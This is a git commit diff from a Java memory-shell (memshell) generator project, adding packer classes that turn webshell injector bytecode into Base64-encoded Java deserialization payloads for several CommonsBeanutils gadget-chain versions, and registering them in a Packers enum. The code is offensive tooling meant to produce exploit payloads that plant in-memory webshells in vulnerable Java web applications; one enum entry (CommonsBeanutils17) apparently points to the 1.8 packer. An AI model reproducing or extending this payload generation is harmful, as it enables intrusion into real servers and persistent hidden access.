feat: support cb4 other version payload packers

This commit is contained in:
ReaJason
2025-02-19 00:04:29 +08:00
parent d9c3bcb5dd
commit e71f980991
44 changed files with 661 additions and 383 deletions
@@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
@@ -87,9 +87,14 @@ public enum Packers {
JinJava(new JinJavaPacker()),
/**
* 反序列化打包器
* Java 反序列化打包器
*/
Deserialize(new DeserializePacker()),
JavaDeserialize(new JavaDeserializePacker()),
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
AgentJar(new AgentJarPacker()),
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils110Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils16Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils18Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.packer.deserialize;
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
@@ -10,9 +10,9 @@ import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/10
* @since 2025/2/17
*/
public class DeserializePacker implements Packer {
public class CommonsBeanutils19Packer implements Packer {
@Override
@SneakyThrows
@@ -21,4 +21,4 @@ public class DeserializePacker implements Packer {
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaDeserializePacker implements AggregatePacker {
}